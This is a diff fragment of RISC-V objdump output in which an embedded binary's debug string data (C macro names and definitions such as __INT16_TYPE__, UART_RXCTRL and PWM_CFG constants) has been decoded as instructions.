+    30cc:	2e28                	fld	fa0,88(a2)
+    30ce:	2e2e                	fld	ft8,200(sp)
+    30d0:	2029                	jal	30da <__stack_size+0x28da>
+    30d2:	5f5f 6f6c 6b63      	0x6b636f6c5f5f
+    30d8:	615f 6e6e 746f      	0x746f6e6e615f
+    30de:	7461                	lui	s0,0xffff8
+    30e0:	2865                	jal	3198 <__stack_size+0x2998>
+    30e2:	7361                	lui	t1,0xffff8
+    30e4:	74726573          	csrrsi	a0,0x747,4
+    30e8:	735f 6168 6572      	0x65726168735f
+    30ee:	5f64                	lw	s1,124(a4)
+    30f0:	6f6c                	flw	fa1,92(a4)
+    30f2:	5f286b63          	bltu	a6,s2,36e8 <__stack_size+0x2ee8>
+    30f6:	565f 5f41 5241      	0x52415f41565f
+    30fc:	5f5f5347          	fmsub.q	ft6,ft10,fs5,fa1,unknown
+    3100:	2929                	jal	351a <__stack_size+0x2d1a>
+    3102:	4200                	lw	s0,0(a2)
+    3104:	4e54                	lw	a3,28(a2)
+    3106:	5f30                	lw	a2,120(a4)
+    3108:	5249                	li	tp,-14
+    310a:	2051                	jal	318e <__stack_size+0x298e>
+    310c:	3631                	jal	2c18 <__stack_size+0x2418>
+    310e:	5f00                	lw	s0,56(a4)
+    3110:	5f5f 6e69 3174      	0x31746e695f5f
+    3116:	5f36                	lw	t5,108(sp)
+    3118:	5f74                	lw	a3,124(a4)
+    311a:	6564                	flw	fs1,76(a0)
+    311c:	6966                	flw	fs2,88(sp)
+    311e:	656e                	flw	fa0,216(sp)
+    3120:	2064                	fld	fs1,192(s0)
+    3122:	0031                	c.nop	12
+    3124:	5f5f 4e47 4355      	0x43554e475f5f
+    312a:	494c                	lw	a1,20(a0)
+    312c:	4d5f454b          	0x4d5f454b
+    3130:	5441                	li	s0,-16
+    3132:	5f48                	lw	a0,60(a4)
+    3134:	5542                	lw	a0,48(sp)
+    3136:	4c49                	li	s8,18
+    3138:	4954                	lw	a3,20(a0)
+    313a:	5f4e                	lw	t5,240(sp)
+    313c:	4552                	lw	a0,20(sp)
+    313e:	4f4c                	lw	a1,28(a4)
+    3140:	5350                	lw	a2,36(a4)
+    3142:	0020                	addi	s0,sp,8
+    3144:	535f 4953 455a      	0x455a4953535f
+    314a:	545f 445f 4345      	0x4345445f545f
+    3150:	414c                	lw	a1,4(a0)
+    3152:	4552                	lw	a0,20(sp)
+    3154:	2044                	fld	fs1,128(s0)
+    3156:	5f00                	lw	s0,56(a4)
+    3158:	4955                	li	s2,21
+    315a:	544e                	lw	s0,240(sp)
+    315c:	3631                	jal	2c68 <__stack_size+0x2468>
+    315e:	545f 445f 4345      	0x4345445f545f
+    3164:	414c                	lw	a1,4(a0)
+    3166:	4552                	lw	a0,20(sp)
+    3168:	2044                	fld	fs1,128(s0)
+    316a:	5f00                	lw	s0,56(a4)
+    316c:	545f4353          	0x545f4353
+    3170:	5248                	lw	a0,36(a2)
+    3172:	4145                	li	sp,17
+    3174:	5f44                	lw	s1,60(a4)
+    3176:	5250                	lw	a2,36(a2)
+    3178:	4f49                	li	t5,18
+    317a:	505f 4f52 4554      	0x45544f52505f
+    3180:	34205443          	0x34205443
+    3184:	5f5f0037          	lui	zero,0x5f5f0
+    3188:	4f4c                	lw	a1,28(a4)
+    318a:	474e                	lw	a4,208(sp)
+    318c:	4d5f 5841 5f5f      	0x5f5f58414d5f
+    3192:	3020                	fld	fs0,96(s0)
+    3194:	3778                	fld	fa4,232(a4)
+    3196:	6666                	flw	fa2,88(sp)
+    3198:	6666                	flw	fa2,88(sp)
+    319a:	6666                	flw	fa2,88(sp)
+    319c:	4c66                	lw	s8,88(sp)
+    319e:	5f00                	lw	s0,56(a4)
+    31a0:	325f4353          	0x325f4353
+    31a4:	465f 524f 5f54      	0x5f54524f465f
+    31aa:	5552                	lw	a0,52(sp)
+    31ac:	204e                	fld	ft0,208(sp)
+    31ae:	3131                	jal	2dba <__stack_size+0x25ba>
+    31b0:	0031                	c.nop	12
+    31b2:	5f5f 4e49 5f54      	0x5f544e495f5f
+    31b8:	454c                	lw	a1,12(a0)
+    31ba:	5341                	li	t1,-16
+    31bc:	3854                	fld	fa3,176(s0)
+    31be:	4d5f 5841 5f5f      	0x5f5f58414d5f
+    31c4:	3020                	fld	fs0,96(s0)
+    31c6:	3778                	fld	fa4,232(a4)
+    31c8:	0066                	c.slli	zero,0x19
+    31ca:	515f 4155 5f44      	0x5f444155515f
+    31d0:	4948                	lw	a0,20(a0)
+    31d2:	4f574847          	fmsub.q	fa6,fa4,fs5,fs1,rmm
+    31d6:	4452                	lw	s0,20(sp)
+    31d8:	3120                	fld	fs0,96(a0)
+    31da:	5f00                	lw	s0,56(a4)
+    31dc:	465f 544c 4d5f      	0x4d5f544c465f
+    31e2:	4e49                	li	t3,18
+    31e4:	455f 5058 5f5f      	0x5f5f5058455f
+    31ea:	2820                	fld	fs0,80(s0)
+    31ec:	312d                	jal	2e16 <__stack_size+0x2616>
+    31ee:	3532                	fld	fa0,296(sp)
+    31f0:	0029                	c.nop	10
+    31f2:	6566                	flw	fa0,88(sp)
+    31f4:	755f666f          	jal	a2,fa148 <__stack_size+0xf9948>
+    31f8:	6c6e                	flw	fs8,216(sp)
+    31fa:	656b636f          	jal	t1,b9850 <__stack_size+0xb9050>
+    31fe:	2864                	fld	fs1,208(s0)
+    3200:	2970                	fld	fa2,208(a0)
+    3202:	5f20                	lw	s0,120(a4)
+    3204:	735f 6566 666f      	0x666f6566735f
+    320a:	7028                	flw	fa0,96(s0)
+    320c:	0029                	c.nop	10
+    320e:	5f5f 5942 4554      	0x455459425f5f
+    3214:	4f5f 4452 5245      	0x524544524f5f
+    321a:	5f5f 5f20 4f5f      	0x4f5f5f205f5f
+    3220:	4452                	lw	s0,20(sp)
+    3222:	5245                	li	tp,-15
+    3224:	4c5f 5449 4c54      	0x4c5454494c5f
+    322a:	5f45                	li	t5,-15
+    322c:	4e45                	li	t3,17
+    322e:	4944                	lw	s1,20(a0)
+    3230:	4e41                	li	t3,16
+    3232:	5f5f 5f00 555f      	0x555f5f005f5f
+    3238:	4e49                	li	t3,18
+    323a:	3654                	fld	fa3,168(a2)
+    323c:	5f34                	lw	a3,120(a4)
+    323e:	29632843          	fmadd.s	fa6,ft6,fs6,ft5,rdn
+    3242:	6320                	flw	fs0,64(a4)
+    3244:	2320                	fld	fs0,64(a4)
+    3246:	4c552023          	sw	t0,1216(a0) # 194c0 <__stack_size+0x18cc0>
+    324a:	004c                	addi	a1,sp,4
+    324c:	5f5f 6373 656c      	0x656c63735f5f
+    3252:	7261                	lui	tp,0xffff8
+    3254:	7265                	lui	tp,0xffff9
+    3256:	2872                	fld	fa6,280(sp)
+    3258:	2970                	fld	fa2,208(a0)
+    325a:	2820                	fld	fs0,80(s0)
+    325c:	7628                	flw	fa0,104(a2)
+    325e:	2964696f          	jal	s2,494f4 <__stack_size+0x48cf4>
+    3262:	2828                	fld	fa0,80(s0)
+    3264:	2970                	fld	fa2,208(a0)
+    3266:	3e2d                	jal	2da0 <__stack_size+0x25a0>
+    3268:	665f 616c 7367      	0x7367616c665f
+    326e:	2620                	fld	fs0,72(a2)
+    3270:	203d                	jal	329e <__stack_size+0x2a9e>
+    3272:	287e                	fld	fa6,472(sp)
+    3274:	5f5f 4553 5252      	0x525245535f5f
+    327a:	5f7c                	lw	a5,124(a4)
+    327c:	535f 4f45 2946      	0x29464f45535f
+    3282:	2929                	jal	369c <__stack_size+0x2e9c>
+    3284:	5f00                	lw	s0,56(a4)
+    3286:	745f 7972 6f6c      	0x6f6c7972745f
+    328c:	5f736b63          	bltu	t1,s7,3882 <__stack_size+0x3082>
+    3290:	7865                	lui	a6,0xffff9
+    3292:	73756c63          	bltu	a0,s7,39ca <__stack_size+0x31ca>
+    3296:	7669                	lui	a2,0xffffa
+    3298:	2865                	jal	3350 <__stack_size+0x2b50>
+    329a:	2e2e                	fld	ft8,200(sp)
+    329c:	292e                	fld	fs2,200(sp)
+    329e:	5f20                	lw	s0,120(a4)
+    32a0:	6c5f 636f 5f6b      	0x5f6b636f6c5f
+    32a6:	6e61                	lui	t3,0x18
+    32a8:	6f6e                	flw	ft10,216(sp)
+    32aa:	6174                	flw	fa3,68(a0)
+    32ac:	6574                	flw	fa3,76(a0)
+    32ae:	6528                	flw	fa0,72(a0)
+    32b0:	6378                	flw	fa4,68(a4)
+    32b2:	756c                	flw	fa1,108(a0)
+    32b4:	65766973          	csrrsi	s2,0x657,12
+    32b8:	745f 7972 6f6c      	0x6f6c7972745f
+    32be:	665f6b63          	bltu	t5,t0,3934 <__stack_size+0x3134>
+    32c2:	6e75                	lui	t3,0x1d
+    32c4:	6f697463          	bgeu	s2,s6,39ac <__stack_size+0x31ac>
+    32c8:	286e                	fld	fa6,216(sp)
+    32ca:	5f5f 4156 415f      	0x415f41565f5f
+    32d0:	4752                	lw	a4,20(sp)
+    32d2:	295f5f53          	0x295f5f53
+    32d6:	0029                	c.nop	10
+    32d8:	4e5f 494c 4b4e      	0x4b4e494c4e5f
+    32de:	545f 445f 4345      	0x4345445f545f
+    32e4:	414c                	lw	a1,4(a0)
+    32e6:	4552                	lw	a0,20(sp)
+    32e8:	2044                	fld	fs1,128(s0)
+    32ea:	5f00                	lw	s0,56(a4)
+    32ec:	535f 5a49 4f45      	0x4f455a49535f
+    32f2:	5f46                	lw	t5,112(sp)
+    32f4:	41484357          	0x41484357
+    32f8:	5f52                	lw	t5,52(sp)
+    32fa:	5f54                	lw	a3,60(a4)
+    32fc:	205f 0034 665f      	0x665f0034205f
+    3302:	6e75                	lui	t3,0x1d
+    3304:	6f6c                	flw	fa1,92(a4)
+    3306:	69666b63          	bltu	a2,s6,399c <__stack_size+0x319c>
+    330a:	656c                	flw	fa1,76(a0)
+    330c:	6628                	flw	fa0,72(a2)
+    330e:	2970                	fld	fa2,208(a0)
+    3310:	2820                	fld	fs0,80(s0)
+    3312:	2828                	fld	fa0,80(s0)
+    3314:	7066                	flw	ft0,120(sp)
+    3316:	2d29                	jal	3930 <__stack_size+0x3130>
+    3318:	5f3e                	lw	t5,236(sp)
+    331a:	6c66                	flw	fs8,88(sp)
+    331c:	6761                	lui	a4,0x18
+    331e:	20262073          	csrs	hedeleg,a2
+    3322:	5f5f 5353 5254      	0x525453535f5f
+    3328:	2029                	jal	3332 <__stack_size+0x2b32>
+    332a:	2030203f 5f5f203a 	0x5f5f203a2030203f
+    3332:	6f6c                	flw	fa1,92(a4)
+    3334:	725f6b63          	bltu	t5,t0,3a6a <__stack_size+0x326a>
+    3338:	6c65                	lui	s8,0x19
+    333a:	6165                	addi	sp,sp,112
+    333c:	725f6573          	csrrsi	a0,0x725,30
+    3340:	6365                	lui	t1,0x19
+    3342:	7275                	lui	tp,0xffffd
+    3344:	65766973          	csrrsi	s2,0x657,12
+    3348:	2828                	fld	fa0,80(s0)
+    334a:	7066                	flw	ft0,120(sp)
+    334c:	2d29                	jal	3966 <__stack_size+0x3166>
+    334e:	5f3e                	lw	t5,236(sp)
+    3350:	6f6c                	flw	fa1,92(a4)
+    3352:	29296b63          	bltu	s2,s2,35e8 <__stack_size+0x2de8>
+    3356:	5f00                	lw	s0,56(a4)
+    3358:	525f 4e41 5f44      	0x5f444e41525f
+    335e:	414d                	li	sp,19
+    3360:	2058                	fld	fa4,128(s0)
+    3362:	7830                	flw	fa2,112(s0)
+    3364:	66666637          	lui	a2,0x66666
+    3368:	6666                	flw	fa2,88(sp)
+    336a:	6666                	flw	fa2,88(sp)
+    336c:	5f00                	lw	s0,56(a4)
+    336e:	4954                	lw	a3,20(a0)
+    3370:	454d                	li	a0,19
+    3372:	4156                	lw	sp,84(sp)
+    3374:	5f4c                	lw	a1,60(a4)
+    3376:	4544                	lw	s1,12(a0)
+    3378:	4946                	lw	s2,80(sp)
+    337a:	454e                	lw	a0,208(sp)
+    337c:	2044                	fld	fs1,128(s0)
+    337e:	5000                	lw	s0,32(s0)
+    3380:	435f4d57          	0x435f4d57
+    3384:	4746                	lw	a4,80(sp)
+    3386:	435f 504d 4332      	0x4332504d435f
+    338c:	4e45                	li	t3,17
+    338e:	4554                	lw	a3,12(a0)
+    3390:	2052                	fld	ft0,272(sp)
+    3392:	7830                	flw	fa2,112(s0)
+    3394:	3030                	fld	fa2,96(s0)
+    3396:	3430                	fld	fa2,104(s0)
+    3398:	3030                	fld	fa2,96(s0)
+    339a:	3030                	fld	fa2,96(s0)
+    339c:	5f00                	lw	s0,56(a4)
+    339e:	465f 544c 455f      	0x455f544c465f
+    33a4:	4156                	lw	sp,84(sp)
+    33a6:	5f4c                	lw	a1,60(a4)
+    33a8:	454d                	li	a0,19
+    33aa:	4854                	lw	a3,20(s0)
+    33ac:	545f444f          	0x545f444f
+    33b0:	38315f53          	0x38315f53
+    33b4:	3636                	fld	fa2,360(sp)
+    33b6:	5f31                	li	t5,-20
+    33b8:	205f5f33          	0x205f5f33
+    33bc:	0030                	addi	a2,sp,8
+    33be:	5f5f 4955 544e      	0x544e49555f5f
+    33c4:	414d                	li	sp,19
+    33c6:	5f58                	lw	a4,60(a4)
+    33c8:	414d                	li	sp,19
+    33ca:	5f58                	lw	a4,60(a4)
+    33cc:	205f 7830 6666      	0x66667830205f
+    33d2:	6666                	flw	fa2,88(sp)
+    33d4:	6666                	flw	fa2,88(sp)
+    33d6:	6666                	flw	fa2,88(sp)
+    33d8:	6666                	flw	fa2,88(sp)
+    33da:	6666                	flw	fa2,88(sp)
+    33dc:	6666                	flw	fa2,88(sp)
+    33de:	6666                	flw	fa2,88(sp)
+    33e0:	4c55                	li	s8,21
+    33e2:	004c                	addi	a1,sp,4
+    33e4:	5f525343          	fmadd.q	ft6,ft4,fs5,fa1,unknown
+    33e8:	484d                	li	a6,19
+    33ea:	4d50                	lw	a2,28(a0)
+    33ec:	4e554f43          	fmadd.q	ft10,fa0,ft5,fs1,rmm
+    33f0:	4554                	lw	a3,12(a0)
+    33f2:	3252                	fld	ft4,304(sp)
+    33f4:	2036                	fld	ft0,328(sp)
+    33f6:	3132                	fld	ft2,296(sp)
+    33f8:	5f00                	lw	s0,56(a4)
+    33fa:	5342                	lw	t1,48(sp)
+    33fc:	5444                	lw	s1,44(s0)
+    33fe:	5059                	c.li	zero,-10
+    3400:	5345                	li	t1,-15
+    3402:	445f 4645 4e49      	0x4e494645445f
+    3408:	4445                	li	s0,17
+    340a:	0020                	addi	s0,sp,8
+    340c:	505f 5f43 4c41      	0x4c415f43505f
+    3412:	4f4c                	lw	a1,28(a4)
+    3414:	49535f43          	fmadd.s	ft10,ft6,fs5,fs1,unknown
+    3418:	455a                	lw	a0,148(sp)
+    341a:	4d5f 4e49 3120      	0x31204e494d5f
+    3420:	0035                	c.nop	13
+    3422:	5f5f 4c46 5f54      	0x5f544c465f5f
+    3428:	4152                	lw	sp,20(sp)
+    342a:	4944                	lw	s1,20(a0)
+    342c:	5f58                	lw	a4,60(a4)
+    342e:	205f 0032 4155      	0x41550032205f
+    3434:	5452                	lw	s0,52(sp)
+    3436:	525f 4358 5254      	0x52544358525f
+    343c:	204c                	fld	fa1,128(s0)
+    343e:	7830                	flw	fa2,112(s0)
+    3440:	6330                	flw	fa2,64(a4)
+    3442:	4c00                	lw	s0,24(s0)
+    3444:	5f4b434f          	fnmadd.q	ft6,fs6,fs4,fa1,rmm
+    3448:	424e                	lw	tp,208(sp)
+    344a:	3020                	fld	fs0,96(s0)
+    344c:	3078                	fld	fa4,224(s0)
+    344e:	0034                	addi	a3,sp,8
+    3450:	535f 5f43 4f58      	0x4f585f43535f
+    3456:	4550                	lw	a2,12(a0)
+    3458:	5f4e                	lw	t5,240(sp)
+    345a:	454c                	lw	a1,12(a0)
+    345c:	59434147          	fmsub.s	ft2,ft6,fs4,fa1,rmm
+    3460:	3920                	fld	fs0,112(a0)
+    3462:	0038                	addi	a4,sp,8
+    3464:	525f 4545 544e      	0x544e4545525f
+    346a:	435f 4548 4b43      	0x4b434548435f
+    3470:	545f 284d 7470      	0x7470284d545f
+    3476:	2972                	fld	fs2,280(sp)
+    3478:	0020                	addi	s0,sp,8
+    347a:	5442                	lw	s0,48(sp)
+    347c:	314e                	fld	ft2,240(sp)
+    347e:	495f 5152 3120      	0x31205152495f
+    3484:	5f5f0037          	lui	zero,0x5f5f0
+    3488:	6972                	flw	fs2,28(sp)
+    348a:	5f766373          	csrrsi	t1,0x5f7,12
+    348e:	756d                	lui	a0,0xffffb
+    3490:	646c                	flw	fa1,76(s0)
+    3492:	7669                	lui	a2,0xffffa
+    3494:	3120                	fld	fs0,96(a0)
+    3496:	4c00                	lw	s0,24(s0)
+    3498:	5f474e4f          	fnmadd.q	ft8,fa4,fs4,fa1,rmm
+    349c:	4f4c                	lw	a1,28(a4)
+    349e:	474e                	lw	a4,208(sp)
+    34a0:	4d5f 4e49 2820      	0x28204e494d5f
+    34a6:	4c2d                	li	s8,11
+    34a8:	5f474e4f          	fnmadd.q	ft8,fa4,fs4,fa1,rmm
+    34ac:	4f4c                	lw	a1,28(a4)
+    34ae:	474e                	lw	a4,208(sp)
+    34b0:	4d5f 5841 2d20      	0x2d2058414d5f
+    34b6:	3120                	fld	fs0,96(a0)
+    34b8:	4c4c                	lw	a1,28(s0)
+    34ba:	0029                	c.nop	10
+    34bc:	4d44                	lw	s1,28(a0)
+    34be:	5f41                	li	t5,-16
+    34c0:	4142                	lw	sp,16(sp)
+    34c2:	30204553          	0x30204553
+    34c6:	3178                	fld	fa4,224(a0)
+    34c8:	3030                	fld	fa2,96(s0)
+    34ca:	3034                	fld	fa3,96(s0)
+    34cc:	3030                	fld	fa2,96(s0)
+    34ce:	0030                	addi	a2,sp,8
+    34d0:	525f 4545 544e      	0x544e4545525f
+    34d6:	495f 494e 5f54      	0x5f54494e495f
+    34dc:	5450                	lw	a2,44(s0)
+    34de:	2852                	fld	fa6,272(sp)
+    34e0:	6176                	flw	ft2,92(sp)
+    34e2:	2972                	fld	fs2,280(sp)
+    34e4:	7b20                	flw	fs0,112(a4)
+    34e6:	6d20                	flw	fs0,88(a0)
+    34e8:	6d65                	lui	s10,0x19
+    34ea:	28746573          	csrrsi	a0,0x287,8
+    34ee:	7628                	flw	fa0,104(a2)
+    34f0:	7261                	lui	tp,0xffff8
+    34f2:	2c29                	jal	370c <__stack_size+0x2f0c>
+    34f4:	3020                	fld	fs0,96(s0)
+    34f6:	202c                	fld	fa1,64(s0)
+    34f8:	657a6973          	csrrsi	s2,0x657,20
+    34fc:	2a28666f          	jal	a2,8979e <__stack_size+0x88f9e>
+    3500:	7628                	flw	fa0,104(a2)
+    3502:	7261                	lui	tp,0xffff8
+    3504:	2929                	jal	391e <__stack_size+0x311e>
+    3506:	3b29                	jal	3220 <__stack_size+0x2a20>
+    3508:	5f20                	lw	s0,120(a4)
+    350a:	4552                	lw	a0,20(sp)
+    350c:	4e45                	li	t3,17
+    350e:	5f54                	lw	a3,60(a4)
+    3510:	4e49                	li	t3,18
+    3512:	5449                	li	s0,-14
+    3514:	505f 5254 5a5f      	0x5a5f5254505f
+    351a:	5245                	li	tp,-15
+    351c:	2844454f          	fnmadd.s	fa0,fs0,ft4,ft5,rmm
+    3520:	6176                	flw	ft2,92(sp)
+    3522:	2972                	fld	fs2,280(sp)
+    3524:	007d203b          	0x7d203b
+    3528:	4e49                	li	t3,18
+    352a:	5f54                	lw	a3,60(a4)
+    352c:	4146                	lw	sp,80(sp)
+    352e:	32335453          	0x32335453
+    3532:	4d5f 4e49 5f00      	0x5f004e494d5f
+    3538:	465f 544c 3233      	0x3233544c465f
+    353e:	5f58                	lw	a4,60(a4)
+    3540:	414d                	li	sp,19
+    3542:	544e                	lw	s0,240(sp)
+    3544:	445f 4749 5f5f      	0x5f5f4749445f
+    354a:	3520                	fld	fs0,104(a0)
+    354c:	5f5f0033          	0x5f5f0033
+    3550:	454e                	lw	a0,208(sp)
+    3552:	42494c57          	0x42494c57
+    3556:	505f 5441 4843      	0x48435441505f
+    355c:	454c                	lw	a1,12(a0)
+    355e:	4556                	lw	a0,84(sp)
+    3560:	5f4c                	lw	a1,60(a4)
+    3562:	205f 0030 5f5f      	0x5f5f0030205f
+    3568:	6f6c                	flw	fa1,92(a4)
+    356a:	695f6b63          	bltu	t5,s5,3c00 <__stack_size+0x3400>
+    356e:	696e                	flw	fs2,216(sp)
+    3570:	5f74                	lw	a3,124(a4)
+    3572:	6572                	flw	fa0,28(sp)
+    3574:	73727563          	bgeu	tp,s7,3c9e <__stack_size+0x349e>
+    3578:	7669                	lui	a2,0xffffa
+    357a:	2865                	jal	3632 <__stack_size+0x2e32>
+    357c:	6f6c                	flw	fa1,92(a4)
+    357e:	20296b63          	bltu	s2,sp,3794 <__stack_size+0x2f94>
+    3582:	2828                	fld	fa0,80(s0)
+    3584:	6f76                	flw	ft10,92(sp)
+    3586:	6469                	lui	s0,0x1a
+    3588:	2029                	jal	3592 <__stack_size+0x2d92>
+    358a:	2930                	fld	fa2,80(a0)
+    358c:	5f00                	lw	s0,56(a4)
+    358e:	4e49                	li	t3,18
+    3590:	3354                	fld	fa3,160(a4)
+    3592:	5f32                	lw	t5,44(sp)
+    3594:	5f54                	lw	a3,60(a4)
+    3596:	4544                	lw	s1,12(a0)
+    3598:	52414c43          	fmadd.d	fs8,ft2,ft4,fa0,rmm
+    359c:	4445                	li	s0,17
+    359e:	0020                	addi	s0,sp,8
+    35a0:	5f5f 4e49 5f54      	0x5f544e495f5f
+    35a6:	54444957          	0x54444957
+    35aa:	5f48                	lw	a0,60(a4)
+    35ac:	205f 3233 5f00      	0x5f003233205f
+    35b2:	49445453          	0x49445453
+    35b6:	5f485f4f          	fnmadd.q	ft10,fa6,fs4,fa1,unknown
+    35ba:	0020                	addi	s0,sp,8
+    35bc:	52435f4f          	fnmadd.d	ft10,ft6,ft4,fa0,unknown
+    35c0:	4145                	li	sp,17
+    35c2:	2054                	fld	fa3,128(s0)
+    35c4:	465f 5243 4145      	0x41455243465f
+    35ca:	0054                	addi	a3,sp,4
+    35cc:	53495f53          	0x53495f53
+    35d0:	4955                	li	s2,21
+    35d2:	2044                	fld	fs1,128(s0)
+    35d4:	3030                	fld	fa2,96(s0)
+    35d6:	3430                	fld	fa2,104(s0)
+    35d8:	3030                	fld	fa2,96(s0)
+    35da:	0030                	addi	a2,sp,8
+    35dc:	4c55                	li	s8,21
+    35de:	5f474e4f          	fnmadd.q	ft8,fa4,fs4,fa1,rmm
+    35e2:	414d                	li	sp,19
+    35e4:	2058                	fld	fa4,128(s0)
+    35e6:	4c28                	lw	a0,88(s0)
+    35e8:	5f474e4f          	fnmadd.q	ft8,fa4,fs4,fa1,rmm
+    35ec:	414d                	li	sp,19
+    35ee:	2058                	fld	fa4,128(s0)
+    35f0:	202a                	fld	ft0,136(sp)
+    35f2:	5532                	lw	a0,44(sp)
+    35f4:	204c                	fld	fa1,128(s0)
+    35f6:	5531202b          	0x5531202b
+    35fa:	294c                	fld	fa1,144(a0)
+    35fc:	4300                	lw	s0,0(a4)
+    35fe:	4f4c                	lw	a1,28(a4)
+    3600:	415f4b43          	fmadd.s	fs6,ft10,fs5,fs0,rmm
+    3604:	4c4c                	lw	a1,28(s0)
+    3606:	4445574f          	0x4445574f
+    360a:	3120                	fld	fs0,96(a0)
+    360c:	4600                	lw	s0,8(a2)
+    360e:	5f44                	lw	s1,60(a4)
+    3610:	28524c43          	fmadd.s	fs8,ft4,ft5,ft5,rmm
+    3614:	2c6e                	fld	fs8,216(sp)
+    3616:	2970                	fld	fa2,208(a0)
+    3618:	2820                	fld	fs0,80(s0)
+    361a:	7028                	flw	fa0,96(s0)
+    361c:	2d29                	jal	3c36 <__stack_size+0x3436>
+    361e:	663e                	flw	fa2,204(sp)
+    3620:	7364                	flw	fs1,100(a4)
+    3622:	625f 7469 5b73      	0x5b737469625f
+    3628:	6e28                	flw	fa0,88(a2)
+    362a:	2f29                	jal	3d44 <__stack_size+0x3544>
+    362c:	464e                	lw	a2,208(sp)
+    362e:	4244                	lw	s1,4(a2)
+    3630:	5449                	li	s0,-14
+    3632:	26205d53          	0x26205d53
+    3636:	203d                	jal	3664 <__stack_size+0x2e64>
+    3638:	287e                	fld	fa6,472(sp)
+    363a:	4c31                	li	s8,12
+    363c:	3c20                	fld	fs0,120(s0)
+    363e:	203c                	fld	fa5,64(s0)
+    3640:	2828                	fld	fa0,80(s0)
+    3642:	296e                	fld	fs2,216(sp)
+    3644:	2520                	fld	fs0,72(a0)
+    3646:	4e20                	lw	s0,88(a2)
+    3648:	4446                	lw	s0,80(sp)
+    364a:	4942                	lw	s2,16(sp)
+    364c:	5354                	lw	a3,36(a4)
+    364e:	2929                	jal	3a68 <__stack_size+0x3268>
+    3650:	0029                	c.nop	10
+    3652:	5f5f 4942 5f54      	0x5f5449425f5f
+    3658:	5954                	lw	a3,52(a0)
+    365a:	4550                	lw	a2,12(a0)
+    365c:	45445f53          	0x45445f53
+    3660:	4946                	lw	s2,80(sp)
+    3662:	454e                	lw	a0,208(sp)
+    3664:	5f44                	lw	s1,60(a4)
+    3666:	205f 0031 5f4f      	0x5f4f0031205f
+    366c:	4f4e                	lw	t5,208(sp)
+    366e:	59545443          	fmadd.s	fs0,fs0,fs5,fa1,unknown
+    3672:	5f20                	lw	s0,120(a4)
+    3674:	4e46                	lw	t3,80(sp)
+    3676:	5454434f          	0x5454434f
+    367a:	0059                	c.nop	22
+    367c:	58495f53          	0x58495f53
+    3680:	5355                	li	t1,-11
+    3682:	2052                	fld	ft0,272(sp)
+    3684:	3030                	fld	fa2,96(s0)
+    3686:	3030                	fld	fa2,96(s0)
+    3688:	3031                	jal	2e94 <__stack_size+0x2694>
+    368a:	0030                	addi	a2,sp,8
+    368c:	5f5f 4c46 3654      	0x36544c465f5f
+    3692:	5f34                	lw	a3,120(a4)
+    3694:	4944                	lw	s1,20(a0)
+    3696:	205f5f47          	fmsub.s	ft10,ft10,ft5,ft4,unknown
+    369a:	3531                	jal	34a6 <__stack_size+0x2ca6>
+    369c:	4600                	lw	s0,8(a2)
+    369e:	535f 5445 4446      	0x44465445535f
+    36a4:	3220                	fld	fs0,96(a2)
+    36a6:	5f00                	lw	s0,56(a4)
+    36a8:	775f 6165 5f6b      	0x5f6b6165775f
+    36ae:	6572                	flw	fa0,28(sp)
+    36b0:	6566                	flw	fa0,88(sp)
+    36b2:	6572                	flw	fa0,28(sp)
+    36b4:	636e                	flw	ft6,216(sp)
+    36b6:	2865                	jal	376e <__stack_size+0x2f6e>
+    36b8:	2c6d7973          	csrrci	s2,0x2c6,26
+    36bc:	6c61                	lui	s8,0x18
+    36be:	6169                	addi	sp,sp,208
+    36c0:	5f202973          	csrr	s2,0x5f2
+    36c4:	615f 6d73 5f5f      	0x5f5f6d73615f
+    36ca:	2228                	fld	fa0,64(a2)
+    36cc:	772e                	flw	fa4,232(sp)
+    36ce:	6165                	addi	sp,sp,112
+    36d0:	2022206b          	0x2022206b
+    36d4:	696c6123          	0x696c6123
+    36d8:	7361                	lui	t1,0xffff8
+    36da:	3b29                	jal	33f4 <__stack_size+0x2bf4>
+    36dc:	5f20                	lw	s0,120(a4)
+    36de:	615f 6d73 5f5f      	0x5f5f6d73615f
+    36e4:	2228                	fld	fa0,64(a2)
+    36e6:	652e                	flw	fa0,200(sp)
+    36e8:	7571                	lui	a0,0xffffc
+    36ea:	2220                	fld	fs0,64(a2)
+    36ec:	2320                	fld	fs0,64(a4)
+    36ee:	6c61                	lui	s8,0x18
+    36f0:	6169                	addi	sp,sp,208
+    36f2:	2c222073          	csrs	0x2c2,tp
+    36f6:	2220                	fld	fs0,64(a2)
+    36f8:	2320                	fld	fs0,64(a4)
+    36fa:	296d7973          	csrrci	s2,0x296,26
+    36fe:	7200                	flw	fs0,32(a2)
+    3700:	6365                	lui	t1,0x19
+    3702:	6965                	lui	s2,0x19
+    3704:	6576                	flw	fa0,92(sp)
+    3706:	6f5a                	flw	ft10,148(sp)
+    3708:	656e                	flw	fa0,216(sp)
+    370a:	654d                	lui	a0,0x13
+    370c:	67617373          	csrrci	t1,0x676,2
+    3710:	4165                	li	sp,25
+    3712:	646e                	flw	fs0,216(sp)
+    3714:	6148                	flw	fa0,4(a0)
+    3716:	646e                	flw	fs0,216(sp)
+    3718:	656c                	flw	fa1,76(a0)
+    371a:	7250                	flw	fa2,36(a2)
+    371c:	6e69                	lui	t3,0x1a
+    371e:	6674                	flw	fa3,76(a2)
+    3720:	0032                	c.slli	zero,0xc
     3722:	5246                	lw	tp,112(sp)
-    3724:	4545                	li	a0,17
-    3726:	3220                	fld	fs0,96(a2)
-    3728:	5000                	lw	s0,32(s0)
-    372a:	435f4d57          	0x435f4d57
-    372e:	4746                	lw	a4,80(sp)
-    3730:	435f 504d 4731      	0x4731504d435f
-    3736:	4e41                	li	t3,16
-    3738:	78302047          	fmsub.s	ft0,ft0,ft3,fa5,rdn
-    373c:	3230                	fld	fa2,96(a2)
-    373e:	3030                	fld	fa2,96(s0)
-    3740:	3030                	fld	fa2,96(s0)
-    3742:	3030                	fld	fa2,96(s0)
-    3744:	5f00                	lw	s0,56(a4)
-    3746:	495f 544e 3631      	0x3631544e495f
-    374c:	545f 5059 5f45      	0x5f455059545f
-    3752:	205f 6873 726f      	0x726f6873205f
-    3758:	2074                	fld	fa3,192(s0)
-    375a:	6e69                	lui	t3,0x1a
-    375c:	0074                	addi	a3,sp,12
-    375e:	5f5f 4c46 3154      	0x31544c465f5f
-    3764:	3832                	fld	fa6,296(sp)
-    3766:	445f 4749 5f5f      	0x5f5f4749445f
-    376c:	3320                	fld	fs0,96(a4)
-    376e:	54420033          	0x54420033
-    3772:	324e                	fld	ft4,240(sp)
-    3774:	495f 5152 3120      	0x31205152495f
